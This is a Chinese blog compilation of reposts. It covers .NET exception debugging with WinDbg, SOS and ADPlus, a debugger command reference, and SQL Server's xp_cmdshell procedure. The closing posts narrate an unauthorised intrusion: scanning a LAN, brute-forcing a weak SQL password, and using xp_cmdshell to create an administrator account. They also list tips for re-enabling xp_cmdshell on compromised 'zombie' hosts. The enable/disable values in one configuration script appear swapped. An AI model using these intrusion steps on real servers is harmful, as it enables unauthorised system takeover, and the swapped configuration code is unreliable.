原文地址:blogs.msdn.com/tess/archive/2005/11/30/498297.aspx
版权归原文作者所有,转载请注明出处
三小时抛出了超过40000个异常,你注意到了没?
看起来很荒谬,不幸的是,这种情况非常常见.
工 作中,我检查许多内存转储,有时候每天5-20个.在得到足够的信息后,我经常快速检查应用程序抛出了多少异常以及异常的类型,以提醒客户注意.多数时 候,应用抛出的异常数量比开发人员预料的多;或者是预料中的异常但他们并不知道这些异常会导致问题出现,因为这些异常看起来不会对应用程序造成直接的影 响.
那么,为什么上面的做法非常不好? 想想如果一个非常严重的异常在后台被处理掉导致用户看不到异常,会怎样?
我想到的有三个原因:
异常是昂贵的
异常会进入不必要的代码路径
异常一般在出现问题时抛出
异常很昂贵
Chris Brumme 写了一片非常棒的关于异常工作原理的日志,叫做异常模型(The Exception Model ),如果有时间的话应该读一下(绝对值得).
该文列出了一些异常抛出时会发生的事情:
通过翻译编译器生成的元数据抓取堆栈跟踪,来指导如何展开堆栈.
在堆栈向上运行一个handler组成的链,调用每个handler两次
补偿SEH,C++以及托管异常之间的匹配错误.
分配一个托管异常实例并调用其构造器.大多数情况下,这牵涉到到资源中查找错误信息.
可能需要进入操作系统内核.通常是发生了硬件异常.
通知任何已经附加的调试器,探察器,向量异常处理器和其他相关部分.
try{
Myvar = (myClass) myParameter;
}
catch (Exception ex){
// do some stuff to handle the exception.
}
如 果myParameter为null,并且没有添加参数检查,这段代码导致应用程序执行上面列出的所有任务,另外有一个特殊的功能,应用程序还抛出一个额 外的1st chance access violation exception(在NullReferenceException中总是触发),所以上面列出的动作实际发生了两次.
在深入讨论之前,上面的代码有一点我不太喜欢:捕获了一个基类异常,没法知道捕获的是否是一个NullReferenceException异常,或许是一个需要用其他方式处理的其他类型异常.不过这样还是比直接吞掉异常什么都不做要好.
异常会导致进入不必要的代码路径
分 享一个很久之前做过的案例.客户的服务器工作比较正常,但客户并不完全满意希望我们帮他们找出潜在的瓶颈.在使用调试器附加上去之后,很快发现有一些异常 用户显然没有注意到.不幸的是,由于其中一个异常最后调用了一个不期望调用的函数.这个函数又调用了一些不同的服务.避免出现这种情况的检查非常简单,把 检查加上去之后,吞吐量增加了不少于20倍…他们对调整后的系统性能非常满意
一个常见的例子是:使用全局异常处理记录异常到事件日志,数据库或者文件时,抛出异常可能会导致阻塞.
别误解我的意思,异常一定要记录,但必须确定对异常的处理没有问题.如果3小时之内抛出了超过40000异常并且将其记录到数据库或事件日志,不仅日志很快被填满,而且会碰到很多争用写的问题.(尤其是事件日志或者文件,因为写操作一般是串行的)
异常一般在出现问题时抛出
如果异常一般在出现问题时抛出,那为什么问题出现的这么频繁 ?在前面的例子中,假设你预料参数为null几率为20%,很可能不是异常而是一个问题.
关于异常,好的思考方式是:异常应该仅在例外的情况下才发生.应该采取措施来避免意料之外的异常.可以考虑使用try/catch而不是用编程控制。
下面是如何知道发生了多少.net 异常以及为什么和在什么地方发生的…
性能监视器中可以监视以下计数器
.NET CLR Exceptions/#Exceps Thrown (异常总数) 以及
.NET CLR Exceptions/#Exceps Thrown / sec
来得知应用程序抛出了多少异常.
可以使用windbg.exe来了解抛出了什么异常,根据当前是生产环境还是压力测试环境,几种方式可供选择,以决定是否允许调试器进入并暂停进程一段时间.
这几种方式是:
发生未处理异常时附加并中断至调试器
获取内存快照来分析当前异常
让调试器运行并记录异常
发生未处理异常时附加并中断至调试器
出于演示的目的我创建了一个webform,并且简单的在Page_Load中调用 throw new System.Exception(“Test”).
windbg.exe附加到w3wp.exe进程之后运行sxe CLR命令使调试器在.net异常时中断
在检查托管结构之前需要加载sos扩展(.load clr10\sos)然后敲按键开始.
一旦捕捉到第一个异常,在调试窗口汇会看到类似以下的显示:
(15c4.163c): CLR exception – code e0434f4d (first chance)
并且中断至Kernel32!RaiseException,这里是真正抛出CLR异常的native部分
这里我们可以用下面的命令来得知是什么异常以及从什么地方抛出
!cen(CheckExceptionName来打印异常类型以及地址)
0:005> !cen
System.Exception (0x642e134)
以及!clrstack(打印托管栈)
0:005> !clrstack
Thread 5
ESP EIP
0x0c1bf6e4 0x77e55dea [FRAME: HelperMethodFrame]
0x0c1bf710 0x0c2e0528 [DEFAULT] [hasThis] Void ExceptionsAndStuff.WebForm1.Page_Load(Object,Class System.EventArgs)
at [+0x30] [+0x0] c:\inetpub\wwwroot\exceptionsandstuff\webform1.aspx.cs:21
0x0c1bf728 0x0c3192dc [DEFAULT] [hasThis] Void System.Web.UI.Control.OnLoad(Class System.EventArgs)
0x0c1bf738 0x0c319224 [DEFAULT] [hasThis] Void System.Web.UI.Control.LoadRecursive()
0x0c1bf74c 0x0c3184d7 [DEFAULT] [hasThis] Void System.Web.UI.Page.ProcessRequestMain()
0x0c1bf790 0x0c317207 [DEFAULT] [hasThis] Void System.Web.UI.Page.ProcessRequest()
0x0c1bf7cc 0x0c316c73 [DEFAULT] [hasThis] Void System.Web.UI.Page.ProcessRequest(Class System.Web.HttpContext)
0x0c1bf7d4 0x0c316c4c [DEFAULT] [hasThis] Void System.Web.HttpApplication/CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
0x0c1bf7e4 0x0c1d98b8 [DEFAULT] [hasThis] Class System.Exception System.Web.HttpApplication.ExecuteStep(Class IExecutionStep,ByRef Boolean)
0x0c1bf82c 0x0c1d9322 [DEFAULT] [hasThis] Void System.Web.HttpApplication.ResumeSteps(Class System.Exception)
0x0c1bf874 0x0c1d91eb [DEFAULT] [hasThis] Class System.IAsyncResult System.Web.HttpApplication.System.Web.IHttpAsyncHandler.BeginProcessRequest(Class System.Web.HttpContext,Class System.AsyncCallback,Object)
0x0c1bf890 0x01eb6897 [DEFAULT] [hasThis] Void System.Web.HttpRuntime.ProcessRequestInternal(Class System.Web.HttpWorkerRequest)
0x0c1bf8cc 0x01eb6448 [DEFAULT] Void System.Web.HttpRuntime.ProcessRequest(Class System.Web.HttpWorkerRequest)
0x0c1bf8d8 0x01eb2fc5 [DEFAULT] [hasThis] I4 System.Web.Hosting.ISAPIRuntime.ProcessRequest(I,I4)
0x0c1bf9a0 0x79217188 [FRAME: ContextTransitionFrame]
0x0c1bfa80 0x79217188 [FRAME: ComMethodFrame]
输出部分告诉我们ExceptionsAndStuff.WebForm1.Page_Load 抛出了System.Exception异常(在设置web.config中的Debug=true之后我们还可以看到页面名称以及行号)
输入gn(运行至未处理的异常)继续调试
在 初始异常之后如果继续,将得到两个附加的异常,第一个是System.UI.Page.HandleError中的 System.Web.HttpUnhandledException,接着是System.Web.UI.Page.ProcessRequest中的 System.Web.HttpUnhandledException。现在明白为什么看起来简单的异常会导致三次调用异常处理了把.
调试技巧:考虑运行下面的命令使调试更加自动化:
sxe -c "!cen;!clrstack;gn" CLR
这个命令中断到CLR异常,运行!cen,!clrstack然后继续,每一个异常都可以获得其类型以及调用堆栈。
获取一个内存快照查看当前异常
如果希望查看生产系统,要是记录了太多抛出的异常会显著降低应用程序的速度,可以使用adplus获取一个hang模式转储来得到许多信息,命令如下:
adplus -hang –pn <PROCESSNAME.EXE>
加载了转储文件以及sos.dll后,运行!dumpallexceptions(简写为!dae),将显示目当前堆上的所有异常对象,也就是所有还没有被垃圾搜集的异常对象,同时显示异常的类型.!dae给出的是统计信息,独立显示异常使用!dae -v(详细模式)
每次运行!dae你会注意到顶部有4个异常.NotSupportedException、ExecutionEngineException、StackOverflowException和
OutOfMemoryException,这并不意味着抛出了这些异常.绝大多数情况下,可以忽略这些.
往下,可以看到HttpResponse.Redirect/HttpResponse.End中有3个ThreadAbortException以及尝试填充数据集的时候有4个SQLException.
一个redirect总是抛出一个ThreadAbortException,因为此时需要停止执行当前页面,可以将false作为redirect方法的参数来避免这个异常,但这当然会导致当前页面继续执行.
0:000> !dae
Number of exceptions of this type: 1
Exception 0x151ce76c in MT 0x79bf44d4: System.NotSupportedException
_message: Specified method is not supported.
—————–
Number of exceptions of this type: 1
Exception 0x180000bc in MT 0x79b94ee4: System.ExecutionEngineException
—————–
Number of exceptions of this type: 1
Exception 0x1800007c in MT 0x79b94dac: System.StackOverflowException
—————–
Number of exceptions of this type: 1
Exception 0x1800003c in MT 0x79b94c74: System.OutOfMemoryException
—————–
Number of exceptions of this type: 3
Exception 0x28a74114 in MT 0x79bf881c: System.Threading.ThreadAbortException
_message: Thread was being aborted.
_stackTrace:
0x00000000
0x00000000
0x79bb8a00
0x79a29496 [DEFAULT] [hasThis] Void System.Threading.Thread.Abort(Object)
0x0e54eec8
0x79bb8e68
0x030c28fa [DEFAULT] [hasThis] Void System.Web.HttpResponse.End()
0x0e54eecc
0x0200cbe0
0x030c2075 [DEFAULT] [hasThis] Void System.Web.HttpResponse.Redirect(String,Boolean)
0x0e54eee0
0x0200cab0
0x02e2c898 [DEFAULT] [hasThis] Void ExceptionsAndStuff.WebForm1.Page_Load(Object,Class System.EventArgs)
0x0e54eefc
0x02a4af50
—————–
Number of exceptions of this type: 4
Exception 0x077cf420 in MT 0x02b84e9c: System.Data.SQLClient.SqlException
_message: System error.
_stackTrace:
0x02bf9f18 [DEFAULT] [hasThis] Boolean System.Data.SqlClient.SqlDataReader.Read()
0x0dd1ecf4
0x02b85de8
0x02fe432f [DEFAULT] [hasThis] I4 System.Data.Common.DbDataAdapter.FillLoadDataRow(Class System.Data.Common.SchemaMapping)
0x0dd1ed60
0x02e43110
0x02e2f9cc [DEFAULT] [hasThis] I4 System.Data.Common.DbDataAdapter.FillFromReader(Object,String,Class System.Data.IDataReader,I4,I4,Class System.Data.DataColumn,Object)
0x0dd1ed50
0x02e430f0
0x02e2f849 [DEFAULT] [hasThis] I4 System.Data.Common.DbDataAdapter.Fill(Class System.Data.DataSet,String,Class System.Data.IDataReader,I4,I4)
0x0dd1edec
0x02e430c0
0x02e2f688 [DEFAULT] [hasThis] I4 System.Data.Common.DbDataAdapter.FillFromCommand(Object,I4,I4,String,Class System.Data.IDbCommand,ValueClass System.Data.CommandBehavior)
0x0dd1edc8
0x02e430b0
0x02e2f4d5 [DEFAULT] [hasThis] I4 System.Data.Common.DbDataAdapter.Fill(Class System.Data.DataSet,I4,I4,String,Class System.Data.IDbCommand,ValueClass System.Data.CommandBehavior)
0x0dd1ee60
0x02e43090
0x02fe7e96 [DEFAULT] [hasThis] I4 System.Data.Common.DbDataAdapter.Fill(Class System.Data.DataSet)
0x0dd1ee88
0x02e43060
0x036ed5f4 [DEFAULT] [hasThis] Class System.Data.DataSet ExceptionsAndStuff.DBLib.GetData(I4)
0x0dd1ee94
0x029ff6d8
总共375个异常
SqlException的错误信息为system error,用处不大.SqlException有点特殊因为真实信息保存在异常外部一个错误对象中,所以最好是用!dumpobj命令单独查看对象的地址
0:000> !dumpobj 0x077cf420
Name: System.Data.SqlClient.SqlException
MethodTable 0x02b84e9c
EEClass 0x02af9340
Size 68(0x44) bytes
GC Generation: 2
mdToken: 0x020001c4 (c:\windows\assembly\gac\system.data\1.0.5000.0__b77a5c561934e089\system.data.dll)
FieldDesc*: 0x02b84d98
MT Field Offset Type Attr Value Name
0x79b947ac 0x4000029 0x34 System.Int32 instance 0 _xptrs
0x79b947ac 0x400002a 0x38 System.Int32 instance -532459699 _xcode
0x02b84e9c 0x4000fb5 0x3c CLASS instance 0x077cf464 _errors
—————–
Exception 0x077cf420 in MT 0x02b84e9c: System.Data.SqlClient.SqlException
_message: System error.
_stackTrace:
0x02bf9f18 [DEFAULT] [hasThis] Boolean System.Data.SqlClient.SqlDataReader.Read()
然后把_errors对象dump下来(用下面的地址0x077cf464作为参数)
0:000> !dumpobj 0x077cf464
Name: System.Data.SqlClient.SqlErrorCollection
MethodTable 0x02b8500c
EEClass 0x02af93a4
Size 12(0xc) bytes
GC Generation: 2
mdToken: 0x020001c3 (c:\windows\assembly\gac\system.data\1.0.5000.0__b77a5c561934e089\system.data.dll)
FieldDesc*: 0x02b84f2c
MT Field Offset Type Attr Value Name
0x02b8500c 0x4000fb4 0x4 CLASS instance 0x077cf470 errors
0:000> !dumpobj 0x077cf470
Name: System.Collections.ArrayList
MethodTable 0x79ba0d74
EEClass 0x79ba0eb0
Size 24(0x18) bytes
GC Generation: 2
mdToken: 0x020000ff (c:\windows\microsoft.net\framework\v1.1.4322\mscorlib.dll)
FieldDesc*: 0x79ba0f14
MT Field Offset Type Attr Value Name
0x79ba0d74 0x400035b 0x4 CLASS instance 0x077cf488 _items
0x79ba0d74 0x400035c 0xc System.Int32 instance 1 _size
0x79ba0d74 0x400035d 0x10 System.Int32 instance 1 _version
0x79ba0d74 0x400035e 0x8 CLASS instance 0x00000000 _syncRoot
0:000> !dumpobj -v 0x077cf488
Name: System.Object[]
MethodTable 0x01a2209c
EEClass 0x01a22018
Size 80(0x50) bytes
GC Generation: 2
Array: Rank 1, Type CLASS
Element Type: System.Object
Content: 16 items
—— Will only dump out valid managed objects —-
Address MT Class Name
0x077cf400 0x02b851a4 System.Data.SqlClient.SqlError
———-
0:000> !do 0x077cf400
Name: System.Data.SqlClient.SqlError
MethodTable 0x02b851a4
EEClass 0x02af9408
Size 32(0x20) bytes
GC Generation: 2
mdToken: 0x020001c2 (c:\windows\assembly\gac\system.data\1.0.5000.0__b77a5c561934e089\system.data.dll)
FieldDesc*: 0x02b85090
MT Field Offset Type Attr Value Name
0x02b851a4 0x4000fad 0x4 CLASS instance 0x10015bb0 source
0x02b851a4 0x4000fae 0x10 System.Int32 instance 1205 number
0x02b851a4 0x4000faf 0x18 System.Byte instance 61 state
0x02b851a4 0x4000fb0 0x19 System.Byte instance 13 errorClass
0x02b851a4 0x4000fb1 0x8 CLASS instance 0x077cf28c message
0x02b851a4 0x4000fb2 0xc CLASS instance 0x077cf3c8 procedure
0x02b851a4 0x4000fb3 0x14 System.Int32 instance 22 lineNumber
0:000> !do 0x077cf28c
Name: System.String
MethodTable 0x79b925c8
EEClass 0x79b92914
Size 316(0x13c) bytes
GC Generation: 2
mdToken: 0x0200000f (c:\windows\microsoft.net\framework\v1.1.4322\mscorlib.dll)
String: Transaction (Process ID 104) was deadlocked on lock resources with another process and has been chosen as the deadlock victim. Rerun the transaction.
FieldDesc*: 0x79b92978
MT Field Offset Type Attr Value Name
0x79b925c8 0x4000013 0x4 System.Int32 instance 150 m_arrayLength
0x79b925c8 0x4000014 0x8 System.Int32 instance 149 m_stringLength
0x79b925c8 0x4000015 0xc System.Char instance 0x54 m_firstChar
0x79b925c8 0x4000016 0 CLASS shared static Empty
>> Domain:Value 0x000abfc8:0x18000224 0x00163890:0x18000224 <<
0x79b925c8 0x4000017 0x4 CLASS shared static WhitespaceChars
>> Domain:Value 0x000abfc8:0x18000238 0x00163890:0x14005924 <<
可以看到,能搜集到很多信息,比如存储过程名字等.
现在,假设某函数有一个NullReferenceException,但你并不知道真正在函数的哪个地方或者什么可能为null
0:000> !dumpobj 0x3d86c980
Name: System.NullReferenceException
—————–
Exception 0x3d86c980 in MT 0x79c04e64: System.NullReferenceException
_message: Object reference not set to an instance of an object.
_stackTrace:
0x2fa0536b [DEFAULT] [hasThis] Void ExceptionsAndStuff.WebForm1. btnAdd_Click(Object,Class System.EventArgs)
0x0c10f844
0x0f64be20
0x189b51ec [DEFAULT] [hasThis] Void System.Web.UI.WebControls.LinkButton.OnClick(Class System.EventArgs)
0x0c10f854
0x0e124f00
0x189b4f72 [DEFAULT] [hasThis] Void System.Web.UI.WebControls.LinkButton.System.Web.UI.IPostBackEventHandler.RaisePostBackEvent(String)
0x0c10f868
0x0e124f60
0x189b4f22 [DEFAULT] [hasThis] Void System.Web.UI.Page.RaisePostBackEvent(Class System.Web.UI.IPostBackEventHandler,String)
0x0c10f878
0x0c2a1308
0x189b4eea [DEFAULT] [hasThis] Void System.Web.UI.Page.RaisePostBackEvent(Class System.Collections.Specialized.NameValueCollection)
0x0c10f880
0x0c2a12f8
0x10920612 [DEFAULT] [hasThis] Void System.Web.UI.Page.ProcessRequestMain()
0x0c10f890
0x0c2a14d8
堆栈顶部的地址显示了代码发生异常的准确位置(在这个例子中是btnAdd_Click),可以使用!u来反汇编函数看这个位置到底做了什么.
0:000> !u 0x2fa0536b
Will print '>>> ' at address: 0x2fa0536b
Normal JIT generated code
[DEFAULT] [hasThis] Void ExceptionsAndStuff.WebForm1.btnAdd_Click (Object,Class System.EventArgs)
Begin 0x2fa05358, size 0x9d
2fa05358 57 push edi
2fa05359 56 push esi
2fa0535a 8bf1 mov esi,ecx
2fa0535c 8b8e68010000 mov ecx,[esi+0x168]
2fa05362 3909 cmp [ecx],ecx
2fa05364 e8cf4313f7 call 26b39738 (System.Web.UI.HtmlControls.HtmlInputFile.get_PostedFile)
2fa05369 8bc8 mov ecx,eax
>>> 2fa0536b 3909 cmp [ecx],ecx
2fa0536d e8464613f7 call 26b399b8 (System.Web.HttpPostedFile.get_ContentLength)
2fa05372 3b053c8b640f cmp eax,[0f648b3c]
2fa05378 7e04 jle 2fa0537e
2fa0537a 33c0 xor eax,eax
2fa0537c eb05 jmp 2fa05383
2fa0537e b801000000 mov eax,0x1
2fa05383 25ff000000 and eax,0xff
2fa05388 7448 jz 2fa053d2
2fa0538a 8bbe68010000 mov edi,[esi+0x168]
2fa05390 8b8e98010000 mov ecx,[esi+0x198]
2fa05396 8b01 mov eax,[ecx]
2fa05398 ff90c4010000 call dword ptr [eax+0x1c4]
2fa0539e 50 push eax
2fa0539f 6aff push 0xff
2fa053a1 8bd7 mov edx,edi
2fa053a3 8bce mov ecx,esi
2fa053a5 ff1520c1640f call dword ptr [0f64c120]
…
从这儿,可以看出,调用了HtmlInputFile对象PostedFile属性的get方法,然后从eax移动到ecx(eax通常包含函数的返回值),
然 后将比较对象的引用,接着就抛出了异常.不需要精通汇编指令就可以知道问题的大概并确推断出PostedFile为null并确在尝试访问 ContentLength属性时抛出了异常.如果有源码的话就更容易找到问题了.这里只需要加入PostedFile是否为null的检查就可以放心.
让调试器自己运行并记录异常
下面展示一个让调试器运行并确记录日志的办法,不过有时候web管理员或其他有需要的人用脚本来做更方便.
创建一个叫做TrackCLR.cfg的配置文件,内容如下:
<ADPLUS>
<SETTINGS>
<RUNMODE>CRASH</RUNMODE>
</SETTINGS>
<PRECOMMANDS>
<CMD>!load clr10\sos</CMD>
</PRECOMMANDS>
<EXCEPTIONS>
<OPTION>NoDumpOnFirstChance</OPTION>
<OPTION>NoDumpOnSecondChance</OPTION>
<CONFIG><!– This is for the CLR exception –>
<CODE>clr</CODE>
<ACTIONS1>Log</ACTIONS1>
<CUSTOMACTIONS1>!cen;!clrstack;gn </CUSTOMACTIONS1>
<RETURNACTION1>GN</RETURNACTION1>
</CONFIG>
</EXCEPTIONS>
</ADPLUS>
然后执行adplus –pn myprocess.exe –c TrackCLR.cfg
这个命令会在调试器目录下产生一个日志文件,记录每个.net异常的托管栈以及异常类型.
或者更进一步,使用下面示例配置文件,在特定的异常发生时创建一个内存转储文件:
<ADPLUS>
<SETTINGS>
<RUNMODE>CRASH </RUNMODE>
</SETTINGS>
<PRECOMMANDS>
<CMD>!load clr10\sos </CMD>
</PRECOMMANDS>
<EXCEPTIONS>
<OPTION>NoDumpOnFirstChance </OPTION>
<OPTION>NoDumpOnSecondChance </OPTION>
<CONFIG><!– This is for the CLR exception –>
<CODE>clr </CODE>
<ACTIONS1>Log </ACTIONS1>
<CUSTOMACTIONS1>!clr10\sos.cce System.InvalidOperationException 1; j ($t1 = 1) '.dump /ma /u c:\temp_dumps\exceptiondump.dmp;gn' ; 'gn' </CUSTOMACTIONS1>
<RETURNACTION1>GN </RETURNACTION1>
<ACTIONS2>Void </ACTIONS2>
<RETURNACTION2>GN </RETURNACTION2>
</CONFIG>
</EXCEPTIONS>
</ADPLUS>
cce命令根据CLR异常是否匹配指定的类型来设置$t1 为1或0.(如果传入的为1,那么用后面的命令作为cce命令的第二个参数,这里可以选择用t1或者t0)
j ($t1 = 1) 是一个if语句,所以要是$t1设置为1就会进行转储,否则直接跳过
[Debug]windgb,sos,adplus,tinyget常用命令
转载:http://www.cnblogs.com/david-qian/archive/2009/01/15/1376225.html
在上一篇的译文中,主要讲解了Tess的Debug系列概况以及Debugger tools的安装和设置。在翻译下一篇文章之前,我打算先和大家讲解下windbg,sos,adplus和tinyget的一些常见命令。了解了这些以后,你将会更加容易的理解以后的文章。
1. adplus
这个脚本工具是和debugger tools一起安装的。可以自动的帮你监视某个程序,并在你设定的条件下生成一个dump文件保存在debugger目录下。使用这些工具时,都需要将命令提示符窗口切到debugger目录。常见的用法如下:
adplus -hang -pn w3wp.exe
在生成hang状态下的dump时,adplus都会立即产生dump文件。在输入此命令并按enter后,此命令将立即获取一个w3wp.exe的内存切片。但是此命令会弹出一个确认窗口,如果你觉得这个比较麻烦的话,你可以在最后加上 –quiet 命令来避免窗口的弹出。
adplus -hang -p 1234 –quiet
相信你很快就能发现,上行命令是使用的process name,而这个命令是使用的process id。同时,它可以直接生成dump,不会弹出确认窗口。
adplus -crash -pn w3wp.exe
此命令是获取程序crash时的dump。它不同于hang立即得到dump,它会一直attach在w3wp.exe程序上,直到w3wp.exe程序crash。其它类似参数的效果都同上。
当然,如果你使用Vista的话,你可以很方便的在任务管理器(task manager)中通过右键 Create dump file获取dump文件。
2. tinyget
这个工具是用来对一个网站进行压力测试的。最常用的命令是:
tinyget -srv:localhost -uri:/BuggyBits/FeaturedProducts.aspx -threads:30 -loop:50
该命令表示同时启动30个线程发送50个请求到本地IIS上BuggyBits站点的FeaturedProducts页面。你也可以在命令窗口中使用”tinyget /?”查看更多详细的命令。
3. windbg
Windbg的命令都是一点号(.)来开始的,它不同于叹号开始的命令(!),叹号开始的命令都是sos.dll中的命令。
.load sos
每次打开windbg调试.net程序的dump时,我们首先要输入此命令。它的用途是使得windbg可以支持托管代码(managed code)的调试。
.time
查看dump文件生成时的时间,其中包括系统当前时间,开机总时间,程序运行总时间,程序运行在内核态总时间以及用户态总时间。
4. sos.dll
最强大的功能还要数sos.dll中的命令,它是我们调试.net程序的基础。下面介绍一些基本命令:
!help
它用来查看每个命令的用法。如!help !threads,用来查看!threads 命令的具体用法。如果直接使用!help,它将列出sos的基本信息。
!threadpool
通过这个命令,我们可以很容易的看出在dump文件生成时的确切CPU使用率,同时,我们也可以看到队列中等待的work requests,timers以及completion port threads等信息。Timers,work requests以及completion port threads都是CLR的线程种类,在以后的文章中我会详细介绍。
!runaway
它是用来罗列所有正在运行的线程以及它们的CPU占用率。通过这个命令,我们可以很容易的去trouble shooting一些CPU占用率过高的问题。
!threads
它是用来罗列所有正在运行的托管(managed)线程的详细信息,如CLR线程所在的appdomain等等。如果线程的ID显示XXXX,说明这个线程已经结束,等待被回收。
~[id]s
此命令用来切换到某一特定线程。如 ~20s 代表切换到ID为20的线程。
!clrstack
此命令用来显示此线程的managed code 的callstack。我们可以加上-p参数来得到更加详细的信息。
!dumpobject(!do)
通过这个命令,我们可以查看某个特定address的object信息。如果这个address指向一个string,我们就可以看到这个string内存储了什么值。
!dumpstackobjects(!dso)
此命令用来查看被当前线程堆栈引用的所有托管对象。
!dumparray(!da)
当我们查看线程堆栈上的object时,我们可以使用!do命令。但是如果该object是一个array的话,!do只能得到array本身的信息,并非其存储的内容。此时!da就发挥了用场。
!objsize
如果我们想查看一个object的total size的时候,我们需要使用!objsize命令。比如当我们!da一个array时,它显示的size仅仅是包含的type的size,并非实际的size。我们可以使用!objsize address来查看这个array的实际size。
!dumpheap
它是用来查看堆上所有的object。通常我们加上 –stat参数来帮我们做个归类,否则它会罗列出许多繁杂的信息。同时,它还有几个比较常用的参数,如-type,-mt。-type用来列出某一特定类型的所有object,如!dumpheap –type System.String将列出堆上所有的string。-mt是用来列出某一特定MethodTable的所有object。大家知道,每一个引用类型都对应一个MethodTable,假设System.String类型的MethodTable是02c39310,那么我们还可以通过!dumpheap –mt 02c39310来找到堆上所有的string。
这些是一些基本命令的用法,大家需要先有点印象。在后面的文章中,我们会经常遇到这些命令。同时,在后面的文章中,我也会和大家介绍遇到的每一个命令。
Have a nice day!
[SQL]SQL Server 2005如何起用“xp_cmdshell”
转载:http://www.enet.com.cn/article/2008/0306/A20080306175443.shtml
xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。由于xp_cmdshell 可以执行任何操作系统命令,所以一旦SQL Server管理员帐号(如sa)被攻破,那么攻击者就可以利用xp_cmdshell 在SQL Server中执行操作系统命令,如:创建系统管理员,也就意味着系统的最高权限已在别人的掌控之中。由于存在安全隐患,所以在SQL Server 2005中, xp_cmdshell 默认是关闭的。
两种方式启用xp_cmdshell
1.打开外围应用配置器—>
打开SSMS.对着你的服务器节点右击..然后选择"方面",然后里面有一项"外围应用配置器"
功能的外围应用配置器—>
实例名Database Enginexp_cmdshell—>
启用
2.sp_configure
– 允许配置高级选项
EXEC sp_configure 'show advanced options', 1
GO
– 重新配置
RECONFIGURE
GO
– 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
GO
–重新配置
RECONFIGURE
GO
–执行想要的xp_cmdshell语句
Exec xp_cmdshell 'query user'
GO
–用完后,要记得将xp_cmdshell禁用(从安全角度安全考虑)
– 允许配置高级选项
EXEC sp_configure 'show advanced options', 1
GO
– 重新配置
RECONFIGURE
GO
– 禁用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1
GO
–重新配置
RECONFIGURE
GO ![]()
[SQL]关于xp_cmdshell 。。注意安全!
转载:http://www.cnblogs.com/lbk/archive/2005/04/28/146973.html
昨天看了存储过程的一点东西,其中就说到了xp_cmdshell 这个东西,以前只是知道黑客能通过MSSQL的漏洞来入侵你的系统,不是太明白。当知道了xp_cmdshell 的强大之后,试了一下,有点开窍了,下面是这方面的一点东西。
xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,
并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。
一般情况下,xp_cmdshell对管理员来说也是不必要的,xp_cmdshell的消除不会对Server造成
任何影响。
可以将xp_cmdshell消除:
Use Master
Exec sp_dropextendedproc N’xp_cmdshell’
Go
如果需要的话,可以把xp_cmdshell恢复回来:
Use Master
Exec sp_addextendedproc N’xp_cmdshell’, N’xplog70.dll’
Go
xp_cmdshell 操作系统命令外壳
这个过程是一个扩展存储过程,用于执行指定命令串,并作为文本行返回任何输出。
语法:
xp_cmdshell command_string[,no_output]
command_string 要执行的命令串
no_output 不返回命令执行的输出
说明:
在把xp_cmdshell的执行许可权授予用户时,用户将能够在Windows NT命令
外壳执行运行SQL Server(通常是本地系统)的帐号有执行特权的任何
操作系统命令。
例:
1、EXEC master..xp_cmdshell "dir *.exe"
返回可执行文件的列表
2、EXEC master..xp_cmdshell "copy d:\test1.jpg e:\" no_output
不返回输出
3、特别是执行
EXEC master..xp_cmdshell "net start awhost32"
EXEC master..xp_cmdshell "net stop awhost32"
可以启动和停止远程的PCAnywhere服务。对远程服务器操作很有帮助。
最后提醒大家,注意你的系统的安全,保护自己,提高警惕。
[SQL]记一次无意的侵入测试
转载:http://www.cnblogs.com/junzhongxu/archive/2009/06/16/1504062.html
前年在一个图书管理软件的公司做测试,由于公司的软件相对于比较成熟,所以主要做的就是功能测试、安装卸载测试、兼容性测试与性能测试,对软件安全这块测试的比较少。
有一天,心血来潮,想着这个软件是否真的这样不可攻克呢?从来不做安全性测试,然后打定主意测试一次。
公司的软件是C/S的系统,连接的是SQLServer数据库。SQLServer数据库有漏洞这个是早有耳闻,所以就从SQLserver开始下手。
首先使用X-Scan-v3.3-cn扫描了一下这个局域网(公司系统管理员警觉不够啊,我扫描了一个小时他都没有发现),发现有几台电脑都是 用户名为Administrator密码为空,不过这不是我的目标,暂时可以忽略。同时看到了目标主机的一些信息,80端口被关闭了,那么可能是没有连接 外网,然后有一个135 445 等一些端口,这个也没有使用到,最重要的一个信息看到了,SQLserver连接用户名为原来公司拼音简写,密码显示为弱口令,这下有信心了,然后使用了 一个简单的暴力破解软件,破解了密码。
哎,这么快就破解了这个数据库,也是我没有想到的,我以前一直以为这个系统真的是做的牢不可破呢!
既然进来了,没事就继续逛逛吧,记得SQLserver还有一个很危险的存储过程xp_cmdshell,不知开发人员有没有处理,写了个 EXEC sp_addextendedproc xp_cmdshell 'net user',竟然执行成功,显示了目标主机的所有用户,哎,现在我彻底无语了。然后我就直接使用XP_cmdshell这个存储过程创建了一个相当与 Administrator权限的用户,而且在这台主机上安装了DameWare,呵呵然后带着这个漏洞想项目经理领赏去了。
附:xp_cmdshell的一些简单使用(其他网友经验)
开启cmdshell的SQL语句
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判断存储扩展是否存在
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK
恢复xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK
否则上传xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程 'master..xp_cmdshell'
这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了。
使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
运气好的话就成功了,如果你想让你的肉鸡用SQL执行不了DOS命令的话,执行:
sp_dropextendedproc "xp_cmdshell"
就执行不了DOS命令了,当然用上面的语句可以复原。
用SQLTOOLS可以连接成功,执行DOS命令,却总是显示这个:拒绝了对对象 'xp_cmdshell'(数据库 'master',所有者 'dbo')的 EXECUTE 权限。
怎么解决????
上传文件也不行……
1、未能找到存储过程'master..xpcmdshell'。
恢复方法:查询分离器连接后,
